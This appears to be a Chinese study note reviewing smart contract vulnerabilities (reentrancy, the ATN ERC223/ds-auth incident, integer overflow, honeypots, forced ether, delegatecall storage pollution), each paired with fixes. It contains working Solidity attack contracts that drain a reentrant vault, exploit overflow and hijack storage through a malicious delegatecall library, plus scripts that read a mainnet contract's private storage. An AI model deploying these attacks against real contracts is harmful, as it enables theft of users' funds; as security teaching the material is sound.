之前学的比较乱,现在复习整理一下。

重入re-entrancy

重入攻击是指在合约执行外部调用(通常是向外发送以太或调用另一个合约)时,接收方在该外部调用的执行流程中再次调用回原合约的某个函数,并借此在原合约未完成状态更新之前重复利用其尚未更新的状态,从而盗取资金或破坏状态一致性。

换句话说:合约 A 在执行到“对外调用”并等待返回时,被外部合约 B 回调回 A,利用 A 尚未完成的内部逻辑(比如余额未清零)重复触发受害逻辑。

示例

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherStoreVulnerable {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

// 存款
function depositFunds() public payable {
require(msg.value > 0, "Need to deposit > 0");
balances[msg.sender] += msg.value;
}

// 可提现函数 —— 脆弱:先进行外部调用,再更新内部状态(易受重入)
function withdrawFunds(uint256 weiToWithdraw) public {
require(balances[msg.sender] >= weiToWithdraw, "Insufficient balance");
require(weiToWithdraw <= withdrawalLimit, "Exceeds withdrawal limit");
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks, "Withdraw not allowed yet");

// 脆弱点:外部调用(向 msg.sender 发送 ETH)发生在状态更新之前
(bool ok, ) = msg.sender.call{value: weiToWithdraw}("");
require(ok, "Transfer failed");

// 状态更新晚于外部调用 —— 导致重入可以重复提现
balances[msg.sender] -= weiToWithdraw;
lastWithdrawTime[msg.sender] = block.timestamp;
}

// 便捷:合约余额查看
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./EtherStoreVulnerable.sol";

contract Attack {
EtherStoreVulnerable public etherStore;
address public owner;
uint256 public attackAmount = 1 ether;

constructor(address _etherStoreAddress) {
etherStore = EtherStoreVulnerable(_etherStoreAddress);
owner = msg.sender;
}

// 启动攻击:先存入 1 ETH,然后调用 withdraw 触发回退并在回退中重入
function pwnEtherStore() external payable {
require(msg.value >= attackAmount, "Need to send at least 1 ETH");

// 将 1 ETH 存入受害合约
etherStore.depositFunds{value: attackAmount}();

// 立刻提现(首次触发外部 send,回退/receive 会再次调用 withdraw)
etherStore.withdrawFunds(attackAmount);
}

// 回退/receive:在收到 ETH 时尝试再次调用 withdraw 实现重入
receive() external payable {
// 当受害合约仍有余额且满足提现限额时,继续重入提现
if (address(etherStore).balance >= attackAmount) {
// 继续重入调用
etherStore.withdrawFunds(attackAmount);
} else {
// 否则把偷来的钱转给攻击者部署者
payable(owner).transfer(address(this).balance);
}
}

// 便捷:提取合约内的 ETH(攻击者自保)
function withdraw() external {
require(msg.sender == owner, "Only owner");
payable(owner).transfer(address(this).balance);
}

// 查看余额
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

正确的修复方法

(Checks — Effects — Interactions)

最根本的原则是 先检查(Checks)→更新合约内部状态(Effects)→再进行外部交互(Interactions),确保在进行任何外部调用之前把内部状态变安全。

交换上述合约的“更新状态”和“调用外部”部分

如何判断你的合约是否易被重入

  • 是否在任何外部 call/callcode/delegatecall 之前更新了关键状态?(CEI)
  • 是否有对不可信合约的外部调用?(包括发送 ETH、调用外部合约、转 ERC777/自定义 token)
  • 是否为关键函数使用了互斥保护(例如 OpenZeppelin 的 nonReentrant)?
  • 是否有单元/集成测试用恶意合约模拟回退并进行重入?(必须做)
  • 是否使用静态分析工具(Slither、Mythril 等)扫描重入相关告警?

ATN攻击

ERC223

ERC223 是对 ERC20 的一个改进提案,目标是解决把代币误发到不支持代币接收的合约时导致代币“丢失”的问题(ERC20 在向合约发送代币时只会改变余额,不会通知合约,使合约无法处理)。ERC223 在转账到合约时触发合约回调,以便合约能处理接收到的代币,从而提高安全性和可扩展性。

解决了ERC20调用两次的尴尬

为什么 ERC20 一次转账可能会被调用两次,而 ERC223 只需要一次?

🔹 ERC20 的缺陷

在 ERC20 中,如果你向 普通外部账户(EOA) 转账,只需要一次 transfer 即可。

但是如果你要向 合约地址 转账,由于合约本身无法自动接收代币,通常需要走以下两步:

步骤 操作 函数 谁调用?
1️⃣ 授权对方(合约)可以花你的代币 approve(spender, amount) 代币持有人
2️⃣ 合约再去拉取授权的代币 transferFrom(from, to, amount) 接收方合约

所以对于 合约接收代币的情况,ERC20 至少需要调用两次函数


🔹 ERC223 的改进

ERC223 在 transfer 时会检查接收方是否是合约:

  • ✨ 如果接收方是 合约地址,则自动调用其 tokenFallback(address from, uint amount, bytes data) 回调函数。
  • ✨ 如果是普通外部账户,就跟 ERC20 一样直接转账。

这样可以 一次调用完成“转账 + 通知合约”操作,不需要 approve + transferFrom

功能 ERC20 ERC223
向外部地址转账 ✅ 一次即可 ✅ 一次即可
向合约地址转账 ❌ 需要 approve + transferFrom(两次调用) ✅ 一次 transfer 自动调用回调
防止代币误转到黑洞合约 ❌ 不会警告,代币直接卡死 ✅ 合约必须实现 tokenFallback 才能接收

DS-Auth库

好的,下面把关键点说清楚——先定义术语和库的典型用法,再说明 为什么把 ERC223 的回调机制(tokenFallback/receive)和 ds-auth(DappSys 的权限/授权库)一起用时,会产生被滥用的攻击面(像你看到的 ATN 事件那样)。我会给出一个可理解的攻击路径示例并列出具体的防御措施。


1) DS-Auth 是什么

ds-auth 是 DappSys / DappHub 生态中常见的授权(authority)模块,用来实现可扩展的访问控制。典型接口类似:

1
2
3
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}

在使用 ds-auth 的合约里,受保护函数会在入口处询问 authority:

1
2
// pseudo
require(authority == address(0) ? msg.sender == owner : DSAuthority(authority).canCall(msg.sender, address(this), msg.sig));

也就是说:权限判断通常基于三要素 — 调用者地址(msg.sender目标合约地址(address(this))、和 函数选择子(msg.sig


2) msg.sig 是什么

msg.sig 是 calldata 的前 4 字节,也就是 ABI 的 函数选择子(function selector)
它等同于 bytes4(msg.data[:4])bytes4(keccak256("functionName(type1,type2,...)"))

  • msg.sig 标识被调用的是哪一个函数(签名),用来在授权判断中识别 “哪个函数被请求执行”。
  • msg.sig 不包含调用者信息,它只是方法标识符。

ERC223 的回调机制为何带来风险

ERC223 在 transfer(to, value, data) 时:

  • 如果 to 是合约,会 自动触发接收合约的回调(例如常见的 tokenFallback(address from, uint value, bytes data)),从而让接收合约能在收到代币时执行逻辑。
  • 这就产生了“转账即回调”的行为链:代币合约 → 接收合约 的执行顺序中,会有外部调用与回调发生(可能带来重入/权限利用机会)。

攻击原理概述

关键点:ds-authmsg.sender + msg.sig 判断权限,而 ERC223 的回调会使 msg.sender 变成“发起回调的合约地址(token 合约)或恶意合约地址”。攻击者可以利用这一点组合出可行攻击链,常见套路如下:

  1. 权限配置失误 / 过宽的授权
    • 如果 authority 被设置为允许某个合约(或一类合约)对任意(或若干)敏感函数调用 canCall 返回 true,那么当该合约(或恶意实现)在回调期间发起对目标合约的调用时,就会被 ds-auth 视为合法调用。
  2. ERC223 回调作为载体触发敏感函数
    • 攻击者部署一个恶意 token 合约或操纵转账流程,使目标合约在 token 转账的过程中被回调。回调的上下文 msg.sender 指向 token 合约(或恶意中间合约),而 msg.sig 仍然表明目标函数(比如 setOwner(...)mint(...))的 selector。
    • 如果 authority 的策略允许该 msg.sender 对该 msg.sig 进行调用(或者授权逻辑有缺陷),攻击者就能在回调中调用敏感接口,从而提权或铸币。
  3. 掩盖来源 / 恶意恢复
    • 攻击者可能在拿到权限后把 owner 恢复为原地址,留下最小可追踪痕迹,而中间已经铸币/转走资产。

换句话说:ERC223 提供了“在代币转账期间执行合约代码”的入口,而 ds-auth 的授权决策恰好基于“谁发起调用(msg.sender)与要调用哪个函数(msg.sig)”。当授权策略配置不严(或存在逻辑漏洞)时,攻击者可以通过构造回调调用把自己“伪装”为被授权的调用者,或利用被授权的合约作为跳板,去调用本不该自己调用的管理函数。


一个简单(抽象)示例流程

  • 目标合约 Target 使用 ds-auth 判断:DSAuthority.canCall(msg.sender, address(this), msg.sig)
  • authority 错误地允许 SomeTokenContract 对某些 selector(比如 mint)返回 true(例如因为某次配置失误或把“代币合约”列入白名单)。
  • 攻击者部署/控制 SomeTokenContract,并在其 transfer 内触发 tokenFallback,在回调中 代表 token 合约 去调用 Target.mint(attacker, amount)
  • Target 在权限检查看到 msg.sender == SomeTokenContractmsg.sig == mint selector,而 authority 允许这种调用 → 因此执行 mint,把代币铸给攻击者。

为什么这类攻击容易被忽视 / 成功率高

  • ds-auth 的授权逻辑看起来“通用”:按 src/dst/sig 三元组授权非常灵活,但也因此若管理不慎(例如把某个合约列为可信、或批量授权某些 selector),会产生非常危险的后果。
  • ERC223 的回调看似方便(一次转账并通知接收方),但它把“通知”变成了“可以执行任意逻辑的入口”,给攻击者提供了时间窗口与上下文切换(msg.sender 会变)。

防御与实践建议

  1. 不要把代币合约或任意第三方合约作为广泛授权对象
    • authority 的白名单应尽量精确到具体合约地址 + 具体 selector;不要把“代币合约”或“任何合约”广泛授权。
  2. 敏感函数优先使用严格的 msg.sender == owner 或多签控制
    • 对极其敏感的管理操作(如 setOwnermintupgrade),尽量不依赖可扩展的三元组授权作为唯一门槛,采用 owner-only 或多签/治理合约。
  3. 对接收 token 的回调保持最小权限与最小行为
    • tokenFallback / receive 中尽量只做最少的状态记录/事件,而不要在回调中直接触发高权限修改或管理操作。
  4. 审慎配置 authority,并对授权变更保留审计日志
    • authority 的任何修改都要通过治理流程或多签,并记录变更,便于事后追查。
  5. 避免把授权决策仅仅依赖 msg.sig 的“白名单”
    • 可以在 canCall 内加入额外上下文检查(例如:只允许特定 src 在特定情况下对特定 dst/sig 调用),并对“合约调用”与“EOA 调用”做不同策略。
  6. 与 ERC223 集成时要小心:将接收回调只作为通知,不作为触发管理入口
    • 如果必须在回调中执行动作,先把必要状态“锁定”或通过非回调的后续流程完成(避免在回调里完成关键授权变更)。
  7. 写攻击/回归测试并用静态分析工具扫描
    • 用恶意 token 回调合约模拟攻击路径;用 Slither 等工具扫描 canCall 的潜在配置问题与危险模式。
  8. 使用互斥与 CEI 防止回调期间状态未一致
    • 对易受重入的函数加 nonReentrant 或采用 CEI(先更新状态再交互)。

总结

ds-auth 本身是灵活的授权框架,但它基于 msg.sender/msg.sig 的判断在 遇到 ERC223 的回调能力(或其它可执行回调的 token 标准/合约)时,会放大任何授权配置错误或设计缺陷的风险——攻击者可以用“在回调中发起调用”的技术把自己伪装为被授权的调用者,从而执行敏感操作(如擅自铸币、改 owner),这正是 ATN 类攻击背后的核心机制。

ATN 攻击流程

1. 利用 ERC223 方法漏洞提权(将自己设为 owner)

动作:攻击者利用合约中 ERC223 相关实现的漏洞,执行提权操作,把自己的地址设为了合约 owner
目的:获取管理权限以便后续铸造或转移代币。
链上交易
https://etherscan.io/tx/0x3b7bd618c49e693c92b2d6bfb3a5adeae498d9d170c15fcc79dd374166d28b7b


2. 发行/铸造大量 ATN 到攻击主地址

动作:拿到 owner 权限后,攻击者调用铸造/发行(mint)或类似的管理函数,把大量 ATN 发行到自己的主控地址。
描述:你记录为 “发行 1100W ATN”。(注:1100W 常被用来表示 1100 万,即 11,000,000 ATN;若表述有别,请按链上数量为准。)
链上交易
https://etherscan.io/tx/0x9b559ffae76d4b75d2f21bd643d44d1b96ee013c79918511e3127664f8f7a910


3. 恢复 owner 为原来地址(企图掩盖痕迹)

动作:攻击者将 owner 设置回原先地址或其他地址,以掩盖刚才的提权痕迹,试图减少可追溯性/诱导审计误判。
链上交易
https://etherscan.io/tx/0xfd5c2180f002539cd636132f1baae0e318d8f1162fb62fb5e3493788a034545a


4. 将偷得的代币分散到多个地址(洗分/分散风险)

动作:攻击者把获得的大额 ATN 分批转到 14 个地址,以分散和转移资产,增加追踪难度并为后续换币/出金做准备。
目的:规避监测、降低单一地址风控触发概率、准备跨交易所或通过去中心化交易所(DEX)套现。
(若需)链上交易示例:可在攻击主地址的 token 转账记录中查看相应多笔 transfer

算术溢出(under flows)

  • 算数溢出/下溢:当一个整数加法/减法超出其能表示的范围时(例如 uint8 超过 255),旧版 Solidity 会wrap around(模 2^n),导致值变成看似“任意”的小/大数;攻击者可以利用这一点改写余额/计数,从而绕过检查或窃取资产。

  • 现代 Solidity(^0.8.0 及以上)默认检测溢出并 revert,所以真正的溢出攻击多见于使用旧版本或显式 unchecked 的代码,或库错误地禁用了检查。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

contract VulnerableVault {
// 用 uint8 故意演示容易溢出的类型(范围 0..255)
mapping(address => uint8) public credits;

// 合约需要有以太来支付 redeem 时使用
receive() external payable {}

// 给自己增加积分(本意:管理员或系统调用,错误地设为 public)
// 只做了简单加法,没有检测 overflow
function addCredits(uint8 amount) public {
credits[msg.sender] += amount; // 如果 credits[msg.sender] + amount > 255,会 wrap
}

// 用积分换取以太(1 credit = 1 wei,为示例而简化)
function redeem(uint8 amount) public {
require(credits[msg.sender] >= amount, "not enough credits");
credits[msg.sender] -= amount;
// 转账(简化示例:1 credit 对应 1 wei)
payable(msg.sender).transfer(uint256(amount));
}

// 管理员可查看合约余额
function vaultBalance() external view returns (uint256) {
return address(this).balance;
}
}

addCreditspublic 并允许任意 amount,而且用 uint8不检查溢出 → 调用时可导致 credits[msg.sender] wrap(例如从 0 加 255 后是 255;从 200 加 100 会变成 44)。

如果攻击者能把 credits 的值设成一个非常大的(或恰好满足条件的)数,就能绕过逻辑或用大量积分兑换大量以太。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

interface IVulnerableVault {
function addCredits(uint8 amount) external;
function redeem(uint8 amount) external;
}

contract Attacker {
IVulnerableVault public vault;
address payable public owner;

constructor(address vaultAddr) {
vault = IVulnerableVault(vaultAddr);
owner = msg.sender;
}

// 演示:利用 addCredits 的溢出把自己的 credits 变成很大(或者满足 redeem 条件),然后 redeem
// 举例:如果 credits 初始为 0,我们调用 addCredits(250) => 250
// 再调用 addCredits(10) => 250 + 10 = 260 -> wrap to 4 (在 uint8 下)
// 更激进地,攻击者可以逐步凑出需要的数值以逃避检查或制造任意余额
function exploit() external {
// 1. 把自己 credits 提高到一个期望值(示例随意)
vault.addCredits(250); // credits = 250
vault.addCredits(10); // overflow: 250 + 10 = 260 -> 4 (示例如何 wrap)
// 2. 如果想要花掉很多,则可根据合约逻辑进一步操作
// 此处仅为示例:尝试 redeem 一小部分
vault.redeem(4);
// 3. 最后把偷到的以太转走(如果有)
owner.transfer(address(this).balance);
}

// 接收来自 Vault 的以太
receive() external payable {}
}

修复方法

修复方式 A — 在旧 Solidity(<0.8)中使用 SafeMath(OpenZeppelin)

1
2
3
4
5
import "@openzeppelin/contracts/math/SafeMath.sol";

用uint256

SafeMath.add 在发生 overflow 时会 revert

修复方式 B — 在现代 Solidity (^0.8.0+) 使用内置检查(更简洁)

Solidity 0.8+ 默认对整型运算溢出做检测并 revert。推荐升级编译器并使用 uint256

漏洞实例:合约PolyAi(AI)

合约地址:https://cn.etherscan.com/address/0x5121e348e897daef1eef23959ab290e5557cf274#code


蜜罐合约

合约一

1
2
3
4
5
6
function GetFreebie() 
public
payable {
if (msg.value > 1 ether) { msg.sender.transfer(this.balance);
}
}

https://github.com/thec00nsmart-contract-honeypots,blob/master/WVhaleGiveaway1.sol

为什么会攻击

向右滑看看…….

image.png

合约二

1
2
3
4
5
function multiplicate(address payable adr) public payable {
if (msg.value >= address(this).balance) {
adr.transfer(address(this).balance + msg.value);
}
}
  • Github地址:

    smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol

  • 智能合约地址:

    0x5aA88d2901C68fdA244f1D0584400368d2C8e739

关键点:

  • msg.value 是调用者发送的以太数量。

  • address(this).balance 是函数执行时合约的余额 已经包含本次 msg.value

  • 执行 transfer(如果条件成立)

    • 如果条件成立(只有在合约原余额为 0 且 msg.value > 0 时),EVM 会执行:

      1
      adr.transfer(address(this).balance + msg.value);
    • 注意此时:

      • address(this).balance 已经包含 msg.value。
      • 这里又加上 msg.value → 会试图转出 2倍的 msg.value,而合约实际余额只够 msg.value → 会 抛出异常,交易 revert。

    交易结算

    • 若 transfer 执行失败,整个交易 revert,合约余额和发送者余额回滚到交易前的状态。
    • 已消耗的 gas 不会返还。

合约三

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
contract Owned {
address public owner; // slot 0

constructor() {
owner = msg.sender;
}

modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
}

contract TestBank is Owned {
address public msgSender; // slot 1
uint256 ecode;
uint256 evalue;

function useEmergencyCode(uint256 code) public payable {
if (code == ecode && msg.value == evalue) {
owner = msg.sender;
}
}

function withdraw(uint amount) public onlyOwner {
require(amount <= address(this).balance);
msg.sender.transfer(amount);
}
}

owner:存储在 slot 0,用于记录合约的拥有者。

onlyOwner 修饰符:限制函数只能由拥有者调用,否则回滚。

msgSender:存储调用者地址(slot 1)。

ecode & evalue:用于紧急代码验证。

useEmergencyCode

  • 若输入 code 与合约存储的 ecode 匹配,并且发送 ETH 等于 evalue,则将 owner 设置为 msg.sender

withdraw

  • 仅限拥有者调用,可提现合约余额。

Github地址:

smart-contract-honeypots/TestBank.sol

智能合约地址:

0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

1. Solidity 合约存储槽规则

  • 每个状态变量在 EVM 存储中占一个或多个 slot(32 字节 = 256 位)。
  • 变量存储顺序:
    1. owner → slot 0
    2. msgSender → slot 1
    3. ecode → slot 2
    4. evalue → slot 3

注:这里假设没有打包优化,因为 uint256 本身正好占 1 个 slot。


2. 获取存储槽的值

如果你有合约地址(比如 0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9),可以用 web3 或 ethers.js 读取 storage:

示例(ethers.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const { ethers } = require("ethers");

// 连接网络
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/YOUR_KEY");

// 合约地址
const address = "0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9";

// 读取 slot
async function readSlots() {
const ecodeSlot = 2; // ecode 在 slot 2
const evalueSlot = 3; // evalue 在 slot 3

const ecodeHex = await provider.getStorageAt(address, ecodeSlot);
const evalueHex = await provider.getStorageAt(address, evalueSlot);

const ecode = ethers.BigNumber.from(ecodeHex);
const evalue = ethers.BigNumber.from(evalueHex);

console.log("ecode:", ecode.toString());
console.log("evalue:", evalue.toString());
}

readSlots();
  • getStorageAt 会返回 slot 对应的 32 字节 hex
  • 转成 BigNumber 或整数即可得到 Solidity 的 uint256 原始值。

3. 理论推算

  • 如果你 **知道合约部署时如何设置 ecodeevalue**(比如构造函数或管理员调用 set 函数),可以直接算出它们。
  • 否则,合约内部没有公开 setter/getter 时,唯一可行的方式就是读取 链上存储槽(方法如上)。

4. 注意事项

  1. 读取 storage 并不花费 gas,只要使用 callprovider.getStorageAt
  2. 即使变量是 private,链上存储仍可读取。
  3. 对蜜罐合约来说,这两个值通常就是 触发 owner 转移的条件
    • 一旦知道 ecodeevalue,可以通过 useEmergencyCode(ecode) 并发送 evalue ETH 来试图改变 owner。

读取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from web3 import Web3

# 1. 连接以太坊节点(可用 Infura、Alchemy 等)
rpc_url = "https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID"
w3 = Web3(Web3.HTTPProvider(rpc_url))

# 2. 合约地址
contract_address = "0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9"

# 3. 存储槽(根据 Solidity 状态变量顺序)
# slot 0: owner
# slot 1: msgSender
# slot 2: ecode
# slot 3: evalue
ecode_slot = 2
evalue_slot = 3

# 4. 读取 storage
ecode_hex = w3.eth.get_storage_at(contract_address, ecode_slot)
evalue_hex = w3.eth.get_storage_at(contract_address, evalue_slot)

# 5. 转换为整数
ecode = int.from_bytes(ecode_hex, byteorder='big')
evalue = int.from_bytes(evalue_hex, byteorder='big')

# 6. 输出
print("ecode:", ecode)
print("evalue:", evalue)

使用说明

  1. 安装 Web3.py:
1
pip install web3
  1. 替换 rpc_url 为你的节点 URL(Infura / Alchemy / 自建节点都可以)。
  2. 运行脚本即可读取链上 ecodeevalue 的原始 uint256 值。

同类项目 :KingOfTheHill


意外之财

依赖合约全局余额做为业务条件会产生“意外之财”风险,因为合约余额可被外部力量修改而不触发合约代码。稳健的做法是使用内部会计/凭证和更严格的资格检查,避免将关键权限或奖励直接绑定到 address(this).balance

1. 合约示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherGame {
uint256 public finalMilestone = 10 ether;

// 玩家存入以太,目标是让合约余额达到 finalMilestone
function play() public payable {
// 注意:address(this).balance 已经包含了本次 msg.value(在执行时)
uint256 currentBalance = address(this).balance;
require(currentBalance <= finalMilestone, "exceeds milestone");
// 其他逻辑(记录玩家贡献等)...
}

// 任何人都可调用,若合约余额正好等于 finalMilestone 则奖励被认领
function claimReward() public {
require(address(this).balance == finalMilestone, "milestone not reached");
// 发放奖励(示例:把余额转给调用者)
payable(msg.sender).transfer(address(this).balance);
}
}

2. 问题与风险(为什么会出现“意外之财”)

  • 合约逻辑直接依赖 address(this).balance 来判断是否到达目标(finalMilestone)。
  • 合约余额可以在不执行合约任意代码的情况下被改变(例如 selfdestruct、矿工奖励或他人事先转账),导致 claimReward 条件被意外满足,任何人都能调用领取奖励(包括并非真正参与游戏的地址)。
  • 因为 address(this).balance 在进入函数时已经包含 msg.value,所以在 play() 中错误地用 address(this).balance + msg.value 来判断会导致逻辑混淆(且通常是错误的)。

3. 示例攻击/触发场景

  1. 攻击者或第三方对合约执行 selfdestruct(targetContract),把一定数额的 ETH 强制发送到该合约,使 address(this).balance 恰好等于 finalMilestone
  2. 任何地址随后调用 claimReward(),因为 address(this).balance == finalMilestone 为真,合约把余额转给调用者 —— 原本未参与出资的人可直接领取

4. 三种不会触发 EVM 合约代码执行但会影响合约余额的途径

  • Mining reward:矿工/区块奖励(或内置奖励)分配到某些地址,会影响链上账户余额,但不触发目标合约的代码。
  • **selfdestruct(target)**:selfdestruct 把以太直接写入目标合约的余额,不会调用目标合约的 receive/fallback,因此不会触发合约逻辑。
  • Pre-sent Ether(事先转账):任何地址直接向合约转账(send/transfer/call),或者部署时即有初始余额,这些都可能改变合约余额而无须被目标合约的业务逻辑处理。

5. 防御与最佳实践

  • **不要把关键业务逻辑直接依赖 address(this).balance**(尤其是决定谁可领取资产的逻辑)。
  • 引入内部账本(内部记账):对每个参与者维护 mapping(address => uint256) deposits,并基于内部记账判断资格与分配奖励,而非全局合约余额。
  • 对领奖逻辑增加资格校验:例如只有实际有贡献(deposits[msg.sender] > 0)或在白名单内的参与者才可 claimReward
  • 使用 Pull payments 模式:记录应得金额,受益人主动提取(withdraw),避免一次性把合约全额发出给任意调用者。
  • 对不可预见到的强制转账保持防御性设计:假定 address(this).balance 可能随时被外部强制改变,业务逻辑应能容忍或检测这种情况(例如不根据全局余额做关键判断)。
  • 日志与监控:对关键状态(如达到里程碑)做审计日志与链上告警,便于人工判断是否为异常触发。

Delegatecall

主要导致存储污染

存储污染指:一个合约的状态变量(storage slot)被意外或恶意修改,导致合约逻辑异常或关键数据被篡改。

典型场景:使用 delegatecall 调用外部库合约时,被调用合约的代码在调用合约上下文中执行,任何对 storage 的写入都会影响调用合约自身的状态。

1. Vulnerable: FibonacciBalance(存在 delegatecall 导致的存储污染问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FibonacciBalance {
// storage layout (slots)
address public fibonacciLibrary; // slot 0
uint256 public calculatedFibNumber; // slot 1
uint256 public start = 3; // slot 2
uint256 public withdrawalCounter; // slot 3

bytes4 constant fbSig = bytes4(keccak256("setFibonacci(uint256)"));

constructor(address _fibonacciLibrary) payable {
fibonacciLibrary = _fibonacciLibrary;
}

// 每次 withdraw 会先增加 counter,然后通过 delegatecall 调用 library 的 setFibonacci
function withdraw() public {
withdrawalCounter += 1;
(bool ok, ) = fibonacciLibrary.delegatecall(abi.encodeWithSelector(fbSig, withdrawalCounter));
require(ok, "delegatecall failed");

// 按计算的 Fib 值发 ETH(简化示例)
payable(msg.sender).transfer(calculatedFibNumber * 1 ether);
}

// 将任意 calldata 转发给 library(危险:任何外部输入都会以 delegatecall 在本合约上下文执行)
fallback() external payable {
(bool ok, ) = fibonacciLibrary.delegatecall(msg.data);
require(ok, "fallback delegatecall failed");
}

receive() external payable {}
}

2. Intended library: FibonacciLib(正常实现,按自身 storage 布局写入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FibonacciLib {
// library 自己的 storage 布局(在 delegatecall 时会映射到调用者合约的 storage)
uint256 public start; // slot 0 (when used via delegatecall it maps to caller.slot0)
uint256 public calculatedFibNumber; // slot 1

function setStart(uint256 _start) public {
start = _start;
}

function setFibonacci(uint256 n) public {
calculatedFibNumber = hbonacci(n);
}

function hbonacci(uint256 n) internal view returns (uint256) {
if (n == 0) return start;
if (n == 1) return start + 1;
// 简化:递归实现可能会耗 gas,此处仅示例
uint256 a = start;
uint256 b = start + 1;
for (uint256 i = 2; i <= n; i++) {
uint256 c = a + b;
a = b;
b = c;
}
return b;
}
}

3. 恶意库:MaliciousLib(通过写入特定 storage slot 来篡改调用者合约的关键变量)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MaliciousLib {
// 注意:此合约的 storage 布局与 FibonacciBalance 不同,
// 当通过 delegatecall 在目标合约上下文执行时,赋值会写到目标合约的 storage slot。
// 例如:下面的函数故意写入 slot 0,使调用者的 fibonacciLibrary 被替换为攻击者指定的地址。

// 将 slot 0 覆写为传入的地址(通过低级写 storage 实现)
function hijackLibrary(address newLib) public {
// 在 delegatecall 上下文中,这会写入调用者合约的 slot 0
assembly {
sstore(0, newLib)
}
}

// 也提供一个 setFibonacci 用于示例:直接设置 slot 1(调用者的 calculatedFibNumber)
function setFibonacci(uint256 v) public {
assembly {
sstore(1, v)
}
}
}

4. 攻击合约(示例攻击流程)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IFibonacciBalance {
function withdraw() external;
}

contract Attack {
address public attacker;
address public maliciousLib;

constructor(address _maliciousLib) {
attacker = msg.sender;
maliciousLib = _maliciousLib;
}

// 步骤示例:
// 1) 先把目标合约的 fibonacciLibrary 指向 maliciousLib(通过调用 fallback 转发一个对 maliciousLib.hijackLibrary 的 delegatecall)
// 2) 再触发 withdraw,maliciousLib 的 setFibonacci 会把 calculatedFibNumber 设置为任意大值,从而 withdraw 时转出大量 ETH(演示)
function attackHijack(address target) external {
// 1) 构造调用数据:hijackLibrary(address)
bytes memory data = abi.encodeWithSignature("hijackLibrary(address)", maliciousLib);
// 通过向 target 发送这笔交易,让 target.fallback() 执行 delegatecall(msg.data)
// 在实际环境中,直接调用 target 的 fallback 即可(这里用 low-level call 模拟)
(bool ok, ) = target.call(data);
require(ok, "hijack failed");

// 2) 现在调用 maliciousLib.setFibonacci(v) via target.withdraw() 的流程:
// 我们先把 maliciousLib 的 setFibonacci 会写入 slot 1(calculatedFibNumber)
// 直接触发 withdraw(withdraw 会 delegatecall setFibonacci with withdrawalCounter 作为参数)
IFibonacciBalance(target).withdraw();
}

receive() external payable {}
}

5. 漏洞要点

  • delegatecall 会在调用者(caller)的上下文中执行被调合约(library)的代码:被调合约对 state 的写入会影响调用合约的 storage slots
  • 若调用合约允许任意 calldata 被转发到 delegatecall(如 fallback() 直接 delegatecall(msg.data)),攻击者可以构造 calldata 来执行恶意 library 的方法,从而修改调用合约的关键 storage(如 fibonacciLibrarycalculatedFibNumber)。
  • 由于 storage slot 的映射关系,库合约与调用合约必须严格对齐 storage 布局,否则将出现存储污染或被滥用的风险。

6. 修复建议

  • 不要把不受信任的地址设为可 delegatecall 的目标;如果必须使用 library,确保其来源可信且 storage 布局一致且不可更改。
  • 禁止将外部任意 calldata 直接转发给 library(不要实现 fallback() 中无校验地 delegatecall(msg.data))。
  • 将 library 地址设为不可变(immutable/constant)或只有 owner 可变,并对修改操作加严格权限和审计。
  • 对关键 storage 的写入加入额外校验(例如检查写入前后值的合理性或使用 access control)。
  • 尽量使用 delegatecall 的替代方案(如 library 的 internal/linked library 或明确的 proxy 模式并做好初始化/检查)。

默认的可见性

这个很简单,就是可见性设置错了让黑客有可乘之机。